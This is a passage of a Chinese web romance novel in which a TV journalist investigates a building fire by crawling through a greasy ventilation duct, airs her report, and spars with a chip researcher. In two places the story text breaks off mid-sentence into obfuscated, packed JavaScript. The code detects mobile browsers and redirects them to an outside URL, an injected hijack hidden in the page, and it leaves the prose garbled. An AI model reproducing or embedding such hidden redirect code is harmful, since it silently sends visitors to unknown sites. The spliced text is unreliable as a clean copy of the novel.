穆语委屈地扁起嘴,一把将商拯拽到身前来,“那我也通知您,看清楚这是谁!顶创的专访您等下辈子再做吧!” 她说完便拉着有很多问号的商拯转身就走,还不忘重重摔上刘伟人办公室的大门。 奚蕊回神冲几个目瞪口呆的同事笑道:“我们家小语挺有本事吧?既然如此,那我就先去准备了。” 她回手拉开门,又回头补充道:“主任,您继续生气,千万别控制血压,这样很快就能到下辈子了,耶。” ***** 穆语在洗手间一番清理,又换上套奚蕊备用在台里的常服,这才像个人样。 奚蕊的直播已经开始,虽然穆语早有心理准备,但仍然没能在今天顺利公开吴佳的材料,想着正忐忑等在电视机前的女孩,眉心不由皱得更紧了些。 她愁眉苦脸地飘向新闻中心专用的服装间,打算帮商拯也找件干净衣服换,寻觅良久,却只找到些正装。 大热天的,能不能不为难人? 好一阵翻箱倒柜,她终于如愿在角落,找到一箱台里团建时多印的文化衫。 穆语咬着手指,艰难地从“靠脸吃饭”和“全村的希望”这两种花色中,选择了后者。 回到奚蕊的化妆间,穆语将衣服递给正局促地端坐在沙发上的商拯,“这件是新的,快去换吧!” 商拯展开文化衫,面露难色。 穆语放下手中的泡面碗,“放心,在这个时间段,外面那些人会自动屏蔽任何直播画面以外的世界,而且你真的臭死了。”说完,她甚至夸张地在鼻间挥了挥手。 他那么臭是拜谁所赐? 商拯闻言咬紧后槽牙,感觉这辈子的愚蠢都在今天用完了。 穆语趁他去换衣服的间隙,相当熟练地泡上两桶泡面,还贴心地在商拯碗里多加了根火腿肠。 听见推门声,她雀跃转身,迫不及待地想看他穿上“沙雕”文化衫的样子,未料,见到来人大失所望,只白了那人一眼,便自顾自地又开了袋麻辣金针菇。 “那个,小穆啊!”刘伟人的声音颤颤巍巍地自她身后响起,“商总回去了?” “回去了。” “那你泡两碗面!” “我自己吃不行啊!” “你这孩子怎么那么记仇?” “您这么老了不也没什么长进?” 自打穆语进入电视台,亦师亦友的“一老一小”便没少吵过架,台里的年轻人总爱拿刘伟人有些陈腐的做派开玩笑,其实内心无不对他肃然起敬,如果没点信念,谁情愿面对高压的新闻工作,从风华正茂到棱角全无,他说的话穆语总是听得进去,除了这次。 “哎,”刘伟人对着镜中的穆语摇了摇头,“我知道你在气什么。” “您知道还那么说……”穆语忍不住顶嘴,也从镜中瞧了眼刘伟人,“您当了一辈子记者,干到头发都快掉光了,您图什么?” …… 片刻沉默,刘伟人难得认真回答她:“图个心安,为了所谓的真相,前半辈子没替妻儿做过什么对的事,只好把我认为对的事,坚持下去。” “那您就给我资源,让我去调查金鸡大厦的案子。” “嘿,你想得美。”刘伟人一脸欠揍样,话音刚落,换好衣服回来的商拯推门入内,二人撞了个正着。 刘伟人连忙戴上挂在胸前的眼镜,抬手招呼,“哟,小穆这孩子还说您回去了,您好您好。” “商拯!不许你跟他说话!”穆语见状忙连声阻止。 商拯那厮扬眉瞅了她一眼,偏出手同刘伟人握了握,“刘主任您好。” 穆语这边气得吹胡子瞪眼,眼瞅着自己的“希望”叛了变,只得上前两步冲到二人之间,试图阻碍他们的交流,无奈身高有硬伤,效果并不显著,片刻两人便已成功交换了名片。 “咱节目组编导做了好几套专题方案,我年纪大了,太前卫的东西看得也是一头雾水,但贵司可以多考虑看看,之前倒是有种求助无门的感觉,这回可巧!您跟小穆熟悉的话,就派她直接跟贵司对接好了。” 商拯尽量让自己显得有耐心,“这事我确实做不了主,但可以把能做主的人介绍给您。” “不可以!”穆语仰面反对。 “哎呀,感谢感谢,万分感谢。”刘伟人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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从两人疯狂互动的背影看来,实在太像迫不及待地要做某事,直播结束回到化妆间的奚蕊一时走眼,扬声惊呼:“你们干嘛!” 屋内两人闻声,皆是不约而同地望向来处,奚蕊侧眸见化妆台前一片狼藉,连泡面碗也被撞翻在地,场景激烈倒真想为挚友的铁树开花鼓一鼓掌。 直到穆语转身露出身前大片的污渍,奚蕊才得以在脑中还原了案发现场真实的事故经过。 “哦,我的上帝啊!难道这是我亲爱的‘哭泣’吗?”奚蕊操着一口标准的译制腔扑向穆语——身上的衣服,“要是你敢说不赔我套新的,我一定会用我的靴子,狠狠地踢你的屁股,我可以向圣母玛利亚发誓,我一定会那样做的。” 穆语将衣服从奚蕊手中扯了出来,“你这只该死土拨鼠,也不关心一下我烫没烫伤?” “不是吧?要不要帮你Call911啊?”这次换TVB了,见穆语笑出声来,才歪头看向她身后的另一主犯,“商总您好,”她同商拯友好地握了握手,“请问您是在和我的宝贝谈恋爱吗?” “没有。”商拯不假思索,面色如常。 穆语闻声倍觉刺耳,女孩子的自尊心遭遇巨大打击,用得着这么急着撇清关系吗?立马不甘示弱地强调道:“是没有啊!” 商拯蹙眉正严肃地思考自己是不是哪里得罪了她,穆语和奚蕊的手机便一前一后收到了总台发来的速报——“金鸡大厦‘7·23’重大火灾事故”死亡人数增至4人。 11. 第十一章 晨光熹微,半山区森林公园的跑道上,穆谨言步伐稳健,脚踝掀起地面一层薄雾,口中不疾不徐地吐纳着林中微凉的空气。 他抬眼望向不远处那道熟悉的背影,疾跑几步追上前去,“今天很早。” 商拯回眸瞥见来人,步履未停,只微微让出身侧的跑道,“早。” 两人算是打过招呼,并肩匀速前进。 商拯的新公寓是李珀抢着张罗的,他刚搬来此处不久,穆谨言第一次在公园偶遇他时也颇感意外,虽然从未有过约定,但二人确实已经“结伴”晨跑了好一阵子。 “昨天谢谢你,那么晚还送小语回来。”穆谨言侧目,晨起尚未打理的刘海温顺地贴在耳边。 商拯扯了扯嘴角,“不客气,事先答应你的。” “那副样子回来,她工作上出什么事了吗?”穆谨言继续旁敲侧击。 商拯蹙眉又向前多迈了几步,想了想才启唇答道:“她工作的事,还是让她自己告诉你好。” 穆谨言轻笑着摇了摇头,“她要是愿意告诉我,我就不用这么拐弯抹角地向你打听了,总之谢谢你。” 见时间差不多,两人停下脚步又一同向前走了段路,边有一搭没一搭地闲聊几句。 商拯也知道自己这么说有些逾矩了,但见过昨晚情绪崩溃的穆语,临别前还是忍不住没头没尾地开了口,“她的工作,挺了不起的,你应该支持她。” 穆谨言闻言微愣,探究地打量起眼前的男人,更好奇昨晚发生了什么,让一个只认识她一天的人都在替她说话,何况这个人还是商拯,穆谨言一时失语,只饶有兴味地挑眉点了点头。 “约好今天到研发中心确定观察方案,她昨晚那个状态,大概率会忘记。”商拯喝了口水,继续交代道:“我没有她的联系方式,麻烦帮我提醒一下。” 一夜之间,自家妹妹和陌生男人,突然拥有了一个连他也不知道的秘密,甚至约定,他反过来成为了需要被嘱托的那位。 商拯此刻好似比他更了解穆语的样子,令穆谨言第一次产生了讨厌他的小情绪。 “穆语的隐私协议,我会让法务尽快拟好。”思及此处,穆谨言语气不善地改口,开始拒绝在这个男人面前,亲昵地直呼妹妹的小名,不在晨跑时讨论工作的约定,也随之抛诸脑后。 商拯这厮却浑然不觉,“好的,放心。” 呵,穆谨言在心中冷笑一声,不过是个连穆语的联系方式都没有的男人罢了。 ***** 穆语一夜未眠,整理好通宵收集的材料,伸着懒腰拉开窗帘,晨光沿窗棂一路倾洒在她脚边,想到吴佳再也无法和自己的父亲,并肩欣赏哪怕一次这样的日出,她沮丧地垂下了肩膀。 洗漱完毕后,穆语对着镜子遮了遮黑眼圈,效果不甚理想,索性作罢,打着呵欠晃晃悠悠地下了楼。 穆谨言已经用完早餐,正低头沉默地查阅电脑上的报表,餐桌另一端,陈亦然狼吞虎咽地吃着碗馄饨,穆语露出诧异的表情,“陈亦然,你起这么早,吃错药了?” 陈亦然,A市鼎鼎有名的二世祖,一年三百六十五天,天天游手好闲,恐怕只有在回陈家祖宅过年的时候,才能在陈老爷子的家法下,对“早晨”这个名词,有那么一点点概念。 “昨天跟老王他们瞎混了一宿,我就没睡,吃完这顿就回去补觉。”陈亦然含着馄饨,黏黏糊糊地答她。 穆语将装着资料的小包放在身边的椅子上,落座翻了个白眼,“你不能在自己家吃啊?” “我就想吃钱老板包的馄饨了,好不容易来早一回,才能给我碰上,你说我一年能吃几顿啊?是吧!钱老板!”他说着,还不忘高声同正在厨房中岛忙碌的钱婶互动一番。 钱婶是穆家的管事阿姨,做得一手好菜,总想着赚够了钱能回老家盖楼开店,所以家里人都亲切地唤她一声钱老板,日子久了,便连穆谨言也这么称呼起来。 钱婶在穆家工作少说也有七八个年头,早把几个孩子当成自己的孩子一般看待。 陈亦然嘴甜,一张傻脸讨人喜欢,在钱老板那颇为受宠,每次他来家里吃饭,桌上总能多几道他爱吃的菜式。 这会儿,陈亦然正假意捧着海碗喝着汤,躲在碗后不停冲穆语挤眉弄眼,穆语见状也跟着转起了眼珠子—— 陈亦然:你哥的脸为什么这么恐怖? 穆语:我昨天又惹他了呗。 陈亦然:这倒霉催的,害我大早上就消化不良。 穆语:瞧你这怂样,叫声大哥我罩你。 …… 半晌,穆谨言终于忍无可忍,从报表中抬起头来,“你们俩说什么呢?” 陈亦然吓得一激灵,汤差点撒一桌子,求生欲使得他反应异常敏捷,“哥,我们晚上一起开黑吧!” 穆谨言闻言,眼中的冷酷霎时裂开一条细缝,是陈亦然意料之中的反应,但嘴上却婉拒道:“晚上有饭局,回来会晚一些,到时再说。” 陈亦然这厮是松了口气,穆语却是一口气没提上来,嘴里的豆浆吞也不是吐也不是。 令穆语窒息的事件排行榜TOP1——带穆谨言上王者。 穆谨言是菜,偏偏陈亦然太强,总能为他营造出一种“我是MVP”的错觉,只要有陈亦然在,人头是穆谨言的,BUFF是穆谨言的,就连河道里快乐游走的小精灵也是穆谨言的,当他俩的队友,简直毫无游戏体验。 “哥,”穆语好不容易吞下口中的豆浆,又腾出手剥了个水煮蛋,一面状似无意地问道:“公司跟华啸置业的合作多吗?” 穆谨言蹙额,朝她投来询问的目光,“怎么了?” 穆语咬了口水煮蛋,鼓着腮帮子神神秘秘地说:“我掐指一算,他们今年要倒大霉,看在你是我亲哥的份上,提醒你早做准备。” 穆谨言合起电脑神情严肃,“你这些天究竟在忙什么?” “调查他们。” “穆语,不要在我眼皮子底下做危险的事,华啸开的不是奶茶店,不是你们随便一个报道就能让它倒闭,不把打不死的对手当作敌人,这个道理还用我教你吗?” “我们哪里随便了?你也知道我为了上次那个报道,在奶茶店里摇了一个多月的奶茶,肱二头肌都这么大了!”说着,她撸起袖子,跟餐桌上的二人全方位地展示自己胳膊上的小腱子肉。 穆谨言不由联想到方才商拯跟他说的话,一股无名火涌上心头,启唇阴森森地补充道:“穆语,我现在不是在跟你商量,而是正式通知你,如果继续做一些危险的事,就不要工作了。” 穆语收手刚想反驳,就被陈亦然在桌下狠狠踢了一脚,“听见没有!还想顶嘴是吧?你说说你年纪也不小了,怎么一天天这么叛逆啊!” 穆语咬牙,知道陈亦然在替她打掩护,还是出气般从桌下一脚踢了回去,只好以退为进,“哥,你说的我都害怕了,不如给我多派几个保镖?” “我会的。”穆谨言周身的空气骤降几度,抬眼不情愿地提醒道:“记得去顶创找商教授。” “这我记得,昨天跟阿拯约好的,指定不能忘。” “阿拯?”穆谨言从牙缝里挤出这两个字,商拯虽比他年纪轻些,那也仍比穆语年长个四五岁,况且这两人什么时候熟到这种程度,他可是一点印象也没有,讨厌那个人的情绪又出现了。 “阿拯?”陈亦然也抬起头来,“谁啊?” “回来再跟你说,我吃饱了,先出门了。”穆语无视穆谨言,背起包抢着出了门。 ***** 隅中时分,A市中心医院住院部的大厅内人来人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443405|169405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往,医导护士和患者们穿梭其间,穆语仍能一眼分辨混迹其中的记者同行。 他们会背着硕大的背包,身着方便移动的休闲裤运动鞋,耳机永远只带单边,眼睛时刻鹰隼般谨慎地关心着周围的环境,但并不做出明显的举动,没什么旁的原因,不过是记者蹲点待机的时间太长,需要节省体力罢了。 穆语神色如常地穿过中庭,卫生间门口,田七早已推着轮椅候在那里。 两人心照不宣地打了个照面后,穆语进入厕所隔间,迅速脱掉外套,露出里面淡蓝色的病号服,又很快出门一瘸一拐地坐上了那台轮椅,不忘用外套轻轻盖住膝盖上的背包。 田七推着穆语,不慌不忙地按下电梯按钮,顺利避开了各大媒体的“眼线”,抵达住院部七楼。 眼下两人正屏息凝神,试图从控制气息的波动上,最大程度地降低自己的存在感,以便通过护士站这个最为艰险的哨卡。 “你们哪床的?”身后传来护士姐姐温柔的质询。 两人闻声却是欲哭无泪,穆语鬼灵精,探头瞥见墙角边引导牌上的数字,哑声道:“呃……709。” 护士从护士站方向抬头,又往这边瞅了眼,反问一声,“709?” 穆语连忙点头确认,“709。” 护士似是看了眼巡房记录,“你等会该吊水了,别再乱跑了!” “知道了。”穆语和田七不约而同地长吁出一口气,但眼下也只能往709的方向去了。 田七垂眸同穆语对视一眼,推她往左边的走廊走去。 此次火灾殃及的轻伤伤员,被集中安置在中心医院住院部7楼,穆语查到一个名为“小郑努力白努力”的账号,曾发布过自己“被金鸡大厦火灾殃及后”住院的相关动态,并且她就职的公司正位于起火点楼下,但遗憾的是,穆语昨晚并未能从网络联系到她本人。 躲开护士台的视线后,穆语跳下轮椅同田七一人一边,仔细查找着门牌上郑姓的患者。 她很快便看完自己这边,正扶额不知如何是好,就见田七大力挥手,兴奋地招呼她过去。 “郑、好!”二人异口同声地念出声来,雀跃地握住彼此的手,在病房门口开心地跺了跺脚。 门口的巡房记录显示,名叫郑好的女生轻微呼吸道灼伤,正在留院观察,穆语叫田七等在外面,自己先一步进去探路。 医院给伤员们配置的病房条件良好,是一套窗明几净的双人间,她这边一推门,便立即吸引了屋内三人的目光,倚在床边的两个都是年轻女孩,另一位年纪稍长的阿姨,像是其中某人的家属。 穆语努力回忆着社交网站上的照片,视线在二人之间来回穿梭,却寻不到任何蛛丝马迹。 “小郑努力白努力?”她只好试探着开口。 靠窗的女孩见穆语也穿着病号服,以为是自己在医院遇过的人,顿时卸下防备,“是我,你是?” 穆语大喜过望,进门趁女孩尚未反应,便反手一把拉上了她的床帘,蹲在床边悄声解释道:“我是电视台新闻中心的记者,我叫穆语,在社交网站看到你发布的动态,想就动态内容对你做个简短地采访。” “这……”见郑好面露难色,不等她拒绝便从怀里掏出一张,事先准备好的签名照。 郑好定睛一看,照片上赫然是自己的当红顶流爱豆——王天霸!掩唇发出一声呜咽,很快又用怀疑的眼神瞅了瞅穆语,“这是真的吗?” “当然!”穆语掏出手机,将自己与王天霸的合影递给她,“知道你是他的‘动霸TUA’,没什么更能表达我们的谢意,只好把我自己珍藏的这张签名照送给你,就几个问题,问完就走。” 郑好紧捏着照片想了又想,“厚码?” 穆语肯定地点了点头,“厚到亲妈都认不出。” 12. 第十二章 “咔”—— 无情掰断碎碎冰的凶手,迎着毒辣的日头走出医院,在花圃前的台阶上站定,仔细对比手中的两节棒冰后,将屁股尖的一端递给同伙。 “你哪来的签名照?”田七认命接过,低头猛啃下去,冰得眯起一双本就不大的眼睛,心说有得吃就不错了,还挑什么粗的细的。 “当然是,”穆语嘴里叼着棒冰,从兜里摸出墨镜戴上,含糊不清答道:“自己签的。” “你这属于诈骗!” “怎么说话呢?我这叫超前消费信用额度,等下次见着王天霸,再补她张真的不就行了。”穆语从墨镜上面瞅了田七一眼,“一点不懂得变通。” “一点不懂得变通!”李珀卷起合同初稿,将商拯面前的实验台敲得砰砰响,“又不是我逼她吃的,这事怎么能赖我呢?” 十分钟前,李珀冲进实验室,二话不说便赶走了商拯的组员,揽住他就是一番纠缠,对方却自始至终都不肯让步。 此时商拯正垂眸专注地修改手里的版图,嫌李珀碍事似的,轻轻将他往边上推了推,探身拿过一份文件,“几个月没能谈下来的合同,一夜之间就给你签好了,是什么原因,你自己心里没数。” “这叫天道酬勤,天助我也!”李珀叉腰连声催促,“你少那么多废话,赶紧给我批了,要是耽误资金进来,董事会唯你是问。” 商拯抬头,冲他露出一个鲜有的,发自内心的灿烂笑容,“问就只好把你交代出去。” “你!”放常日里,见商拯露出这样的表情,李珀必是若临秋水、如沐春风,但这会儿看在眼中,只觉分外刺眼,他这么想着,便在心中快速权衡了利弊。 “你很满意现在的价格?” 李珀望着面前,还凝神在图纸上标记的商拯,“中规中矩。” “听我的,过两个月再谈,延长合作期限,这叫……”商拯放下手中的鼠标,抬手拍了拍李珀的肩膀,“放长线钓大鱼。” “我就怕穆谨言把你这条大鱼给我钓走了!” “那你还把我房子,买得离他家那么近?” “阿拯,”李珀抓住商拯的胳膊就贴了上来,“咱明天就搬家。” 商拯蹙眉抽出胳膊,理了理袖口,“出去,把我的同事们给我请回来。” ***** 根据郑好的描述,穆语和田七重返事故现场,尝试寻找女孩口中“令人困扰的油烟味”的来源。 金鸡大厦B座的警戒线尚未拆除,两人向安保表明身份,称需要补拍新闻画面后,便顺利进入大厦内部。 大厦中央空调停运,午后太阳炙烤下的建筑物内,连空气都是滚烫的,夹杂着过火后刺鼻的气味,熏得两人睁不开眼。 沿步梯一路向上,走道内烟熏的焦黄色愈加浓郁,两人气喘吁吁地爬到起火点所在的楼层附近,已是大汗淋漓。 穆语脸颊上,满是房顶飘落的黑灰,手背抹过留下一道道狼狈的印子。 田七拧了把被汗水浸透的衣角,四下打量,“这烧得不剩什么了,怎么查?” 踩着焦黑的玻璃碎片,穆语又往深处探了探,靠近起火点的玻璃幕墙已被完全烤化,吊顶内饰也烧毁的难辨原貌,原本支撑房顶的钢材变形塌陷下来,将通风管道暴露在外。 “通风管道。”穆语灵光一现,反身急着去找田七,却不慎被角落里的废物绊倒在地,手按在碎玻璃上痛得她缩起指尖。 她抬手,吹掉伤处几颗细小的玻璃碎片,见创面不大,便胡乱用衣服里侧干净的地方擦去血迹,爬起身来继续朝外间走去,“我们得进去看看。” 田七满脸疑惑,“进哪?” “通风管道。” “嗡嗡——”商拯敛神掏出内袋不停震动的手机,迎着众人异样的目光,走出实验室。 一出门屋内便炸开了锅—— 冯嘉家紧闭双眼,伸手揉了揉太阳穴,充分怀疑自己有过劳的倾向,“见鬼,我出现幻觉了。” 年纪最小的楚翘阳,扯着身侧淡定自若的魏巍猛摇几下,“商总居然带手机进实验室?” 魏巍是几人当中与商拯相处时间最长的人,闻言只轻笑一声,扶了扶鼻梁上的眼镜,“他拿的一定不是手机,只是长得像手机的测量仪器罢了。” “教授不会是恋爱了吧?”沈洁饶有兴味放下手中的报告,神秘兮兮地凑了过来,“你们猜教授的对象是男是女啊?感觉他平时对女孩子不太上心,倒是和李总的关系挺不一般。” …… 商拯蹙眉望着穆语起伏的心率,很想打电话过去,问问她的身体状况,问问她为什么没能在约定的时间赶来,却恍惚想起,自己并无她的联系方式。 于是,他就这样沮丧地握着手机,在实验室门口短暂地蒙住了。 掌间持续传来的震动将他倏然惊醒,他定了定神,判断数据的变化在安全范围内后,还是将手机收了起来。 眼下,穆语二人正位于金鸡大厦第15层,起火点楼下的办公区内。 此处烧毁程度较低,房间陈设相对完整,但仍被大火灼人的温度燎得焦黑一片。 田七就快疯了,他拉紧腰间从楼后消防栓那处找来的绳索,望着绳索另一端正高高站在油漆桶上的穆语,“咱胡闹也得有个限度,这太危险了。” “我保证进去看一眼就出来,你拽着绳子这头,没问题的。”穆语就地取材,用办公区未烧毁的胶带将手电筒死死缠在小臂上,又调整好了额间的运动相机。 说完,她蓄力猛地向上跃起,准确地扣住天花板上通风口处的缝隙,没想竟高估了自己的上肢力量,根本使不上力气,这才连忙咬牙呼唤田七,“快帮忙!” 田七缓过神来,三两步上前,抱住穆语的小腿就向上送去。 穆语借力踩住他的肩膀,将半个身体全部探入眼前黢黑的通风管道,半是蹭半是拱,费了好大劲才勉强钻了进去。 管道内抖落的灰尘,呛得穆语连声咳嗽,她掩鼻屏息,小心地感受着整条管道的稳定性,确认安全后,才打开小臂间的手电筒向前方照了照,却只见一束细密的,连手电光也探不到尽头的黑暗。 “穆语!还好吗?” 田七的声音透过管道内壁的金属板,嗡嗡地传了过来,穆语咬唇高声答道:“别担心!但是里面太暗了!我什么也看不清!” 狭窄的管壁像是随时会向她挤压过来,她手掌摩擦着身下的金属板面,拂开厚重的烟灰,果然露出一层黏腻的油垢。 见状,她清澈的眸子在黑暗中闪了闪,继续撑起身子,艰难地往更深处爬去。 汗水簌簌滴落在侧,身体摩擦过去,所到之处变得愈加湿滑。 她匍匐前进,几乎爬一步溜半步,在漆黑的长管中摸索,很快便有些体力不支。 “你怎么这么缺乏锻炼啊!死手快爬啊!”穆语的胳膊开始打战,脊背也重若千斤,她一面给自己打气,一面气喘吁吁地拐过一个弯道。 胳膊在此时猝不及防地压住一团毛茸茸的硬物,穆语微微张大眼睛,缓慢地往肘间瞟去——“哇啊!” 她嗷一嗓子,条件反射地抽起胳膊,身体重重砸在本就脆弱的管身上,管道当即便发出巨大的轰鸣声,隆隆向下一沉。 穆语反应迅速地将四肢紧抵住管壁,堪堪稳住身体,却只能眼睁睁地瞧着那只死老鼠,以迅雷不及掩耳之势,出溜一下滑进了自己的衣领! “穆语!”田七闻声焦急地拉紧绳子,高喊两声却仍是无人回应,就在他手足无措,正要跌入绝望的 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五分钟,十分钟,将近二十分钟,绳索才终于被人重重扯了一下,田七跳起来抓住绳子使劲向外拉,不一会就在暗处的拐角,看到一束摇曳的手电光线。 见到来人,田七几乎是哇地哭出声来,手忙脚乱地舞着手臂去抓她。 穆语满身油污,拎着只死老鼠,见田七这快要一米九的壮汉这副模样,捂住肚子有些哭笑不得,“七哥,我们拍到了不起的素材了。” ***** 穆语顾不上将自己整理干净,回到台里便同田七一头扎进了剪辑室,将素材全部整理好时,才想起和商拯的约定。 “哥,快给我阿拯的电话。”穆语这头发射似的从新闻中心飞奔出去,忽略穆谨言在电话那头的碎碎念,拦上辆出租车就往研发中心赶去。 在车上几次拨打商拯的电话都无人接听,正咬唇不知所措,扭头却瞥见街灯反射下,车窗上一张见鬼似的脏脸。 她赶忙掏出纸巾擦了又擦,借着窗外明灭的光线,也不知擦没擦干净,又皱着脸闻了闻身上难以描述的味道,忍不住干呕一声。 想到商拯一尘不染的长袍,她懊恼地垂头挠着椅背,开始后悔没将自己好好整理干净。 华灯初上,穆语踩着双脏兮兮的球鞋,被拦在了研发中心的院门前。 “大爷,我真的和商拯约好了,您看我有他的电话号码,只是一直打不通。” 穆语踮脚趴在保安室的窗边,一番死缠烂打,未料里面那位大爷却仍如铁面关公般不动如山,坚持电话通报后才能放行。 穆语没法子,抿唇回眸瞅见不多高的院墙,心生一计,晃晃悠悠地远离了保安室,跟通风管道相比,爬个院墙对她来说还不是小菜一碟。 见四下无人,她活动活动筋骨,后退几步,骤然加速登上了墙面,岂料正打算翻身跃下时,包带却被墙上凸起的围栏给死死勾住了边。 白日里用力过猛的双臂,在此时颤抖着使不上力气,她越着急去解,包带上的死结反倒越系越紧,片刻挣扎后,她终于不得不承认,自己被牢牢挂在墙上的事实。 望着当空一轮圆月,穆语有些欲哭无泪,就在此时,突然听见暗处有脚步声沙沙向她靠近。 她闻声赧然瞪大双眼,使出吃奶的劲儿去扯包带,开玩笑?被人看见自己挂在墙上,那也太丢脸了!她穆语可是个要面子的淑女! 伴随着布料撕裂的声音,穆语惊叫一声,猛然向下坠去。 商拯从手机屏幕上的定位间抬头,还未来得及看清来物,鼻间便先嗅到一股难以描述的味道。 他闷哼一声,不知被什么东西砸了个满怀。 13. [大哭 七八月野蛮生长的灌木丛被两人压得向下塌陷,四周盘根错节的枝丫勾住穆语的长发,她手臂乱挥,痛得在商拯身上直扑腾。 商拯也忍痛撑起胳膊,垂眸瞅着怀里张牙舞爪的女人,不禁抬头望天,气自己没有长进,又白捡了麻烦来。 穆语握着死缠住树杈的发丝,从商拯胸前艰难抬头,待看清来人,不由咧嘴干笑两声,“好巧。” “不巧。”商拯咬牙一字一顿,边伸手咔嚓一声,将勾住穆语头发的树枝撇断。 穆语只觉头皮一松,忙直起腰来,将挂着树枝的那撮头发拿到身前,投入地解着结。 见她未有半点起身的意思,商拯深吸一口气连声催促,“还不起来?” 穆语这才发现,自己正以一个极其舒适的姿态,大剌剌地跨坐在商拯身上,她两颊通红,手忙脚乱地往边上挪去,一面伸手,殷切地去拉跌坐在地上的男人。 “等一下!”商拯这头还没来得及,拾起自己同被枝丫挂住的衣角,便被穆语大力拉扯着起了身。 毫不意外地,耳边再次传来布帛撕裂的声音。 望着商拯被树枝钩破的袍角,穆语陷入了深深的自责,想起昨晚—— “呀!干嘛丢掉?”她抢前几步,从垃圾桶里拾起被商拯丢掉的白大褂,皱着鼻子露出不赞同的表情,“洗洗还能穿……” 说着,她仔细打量手中被臭鸡蛋液和面糊浆过一遍,手感开始发硬的衣服,“入锅炸至金黄”几个大字缓缓飘过眼前,她语气一转,不自信地改口道,“吧?” 偌大的研发中心内,但凡同两人打过照面的,无不朝他们投来异样的眼光。 穆语埋头有些心虚地紧跟商拯,默默承受着旋聚在他周身,难以忽略的低气压,突然觉得有些委屈。 她启唇,言语间满是怨念,“你明明带着手机,知道我在哪,为什么不接电话?” 商拯闻声,蹙眉停下脚步,后背猝不及防被低头暴走的穆语撞了个结实。 他回头无奈地轻叹一声,在还没经过大脑允许的情况下,便主动向她解释起来,“这部手机是李珀的,为了确认你的情况才带着,我工作的时候没有带手机的习惯。” 入夜长廊不很敞亮的日光灯下,穆语扑闪的大眼睛显得分外瞩目,商拯撇开视线,不自然地将语气变得强硬,“说好中午过来,现在都几点了。” “对不起,你不要生气嘛!”穆语举起两根手指,凑近一步,“我保证,绝对不会有下次。” 她衣服上的污渍,被油烟溶解后显得锃光瓦亮,鼻头上粘着不知在哪蹭来的灰,举在额边的手指脏兮兮的,就连自己身上被她爬过的地方,也没有一处得以幸免。 眼前这个女人狼狈的程度,显然已经触及了商拯的知识盲区。 该死的求知欲驱使他正想问问,究竟在哪里才能把自己弄成这副模样,穆语的手机便“叮”一声地响了起来,见她忙不迭地查看消息,商拯只好暂时按捺住自己的好奇心。 拍照喊田七:妥了,头条[大哭][大哭][大哭] 商拯对她收到的信息内容毫无兴趣,只是见她撇嘴掩唇跺了跺脚,再抬头时,眼中已经盛满氤氲的水雾。 联想到前一天她看过信息后号啕大哭的模样,他不由倒吸一口冷气,出言恐吓道,“你,你不许哭。” 穆语闻言,鼓起腮帮子拼命忍住眼泪,冲他点了点头,“呜——”得像只烧开的热水壶。 ***** 九点整,商拯办公室的电视机,自出厂以来的第一次通电。 电视内准时传来节目的片头音乐,奚蕊妆容姣好、仪态端正地出现在主播台后,“聚焦热点,每日关注,欢迎收看正在直播的《整点聚焦》。” “开始了!开始了!”穆语从商拯办公室的真皮沙发上跳起来,目不转睛地盯着电视屏幕。 简短的要闻速报后,奚蕊面对镜头直奔主题—— “7月23日,蓝桥区金鸡大厦内,发生一起重大火灾事故,消防救援人员接报后迅速到达现场,扑灭火势。截至今日,事故已造成四人死亡、四人重伤和一名消防救援人员牺牲,那么目前过火现场的情况如何,造成火势迅速蔓延的原因又是什么?我台记者再次探访事故现场,让我们跟随镜头,一起去看看。” 播出镜头摇晃着,在某个狭长空间内缓慢移动,经过夜视处理后,原本昏暗的场景变得清晰可辨。 随着镜头挪动,通风管道两侧的油污堆积愈加严重,直到画面有些艰难地转过拐角,到达前方一处垂直管道的入口时,商拯才绷着下颚紧了紧眉心,将目光转向趴在茶桌上聚精会神的穆语,而后又转了回去。 镜头在主播的简报声中,颤抖着对准垂直管道下,手电光线也探不到底的深渊,又抬起来对准前方墙壁上,钟乳石柱般悬挂着的层层油垢。 紧接着画面切换,播出了上午穆语和田七对郑好的采访片段—— “是啊!每天上班都能闻到很重的油烟味,回家后衣服上都是那股味道,跟物业反映好多次了,并没有得到解决,兴许是没办法解决吧?毕竟是商用大楼,有很多店铺的后厨都得开火。” …… 新闻播出后,“排风口与排烟口是否可以共用”的话题立刻掀起业内外的激烈讨论,原本即将淡出舆论热潮的“7·23金鸡大厦重大火灾事故”也在这股力量的推动下,再次攀上了风口浪尖。 穆语收起手机,心情不错地背着胳膊,一副有求必应的模样,“怎么查?” “今天太晚,黎医生不在只能做些常规检查,”商拯领她出了办公室,往医务中心的方向过去,“确认一下你的身体状况就好。” “阿拯,如果我完美适配了你们的芯片,是不是能被载入史册啊?到时候一定会是个轰动全球的独家新闻!” “想都别想,照到就给你取出来。”商拯拉开大门,室内却空无一人,打算在来人之前先校准她的心率数据。 穆语将自己的胳膊乖乖递给他连接机器,他却握着她的手腕半晌没有动作。 掌心突然传来刺痛,惹得她痛呼一声,直想把胳膊抽回来。 “伤口处理过吗?”商拯面色凝重地捏住她的掌心,按了按伤处边缘。 “嘶……疼!” “在那个管道里弄的?” 穆语痛得泛起泪花,另一只手探过去抓住他的指尖,企图阻止他用力,“你不按它,我都忘记有这回事!” “伤口发炎,已经肿起来了。”他敛容,开始后悔之前对穆谨言提出支持她工作的“小建议”。 他让穆语站在流理池前,用自己的胳膊夹住她的手肘,掏出一瓶双氧水温声提醒,“忍一下,可能会有点痛。” 穆语见势不妙,扒着他的肩膀拼命挣扎,“我!我还没准备好!” “不用准备。”商拯稳稳夹住她的胳膊,对准伤口,不容拒绝地将药水浇了下去。 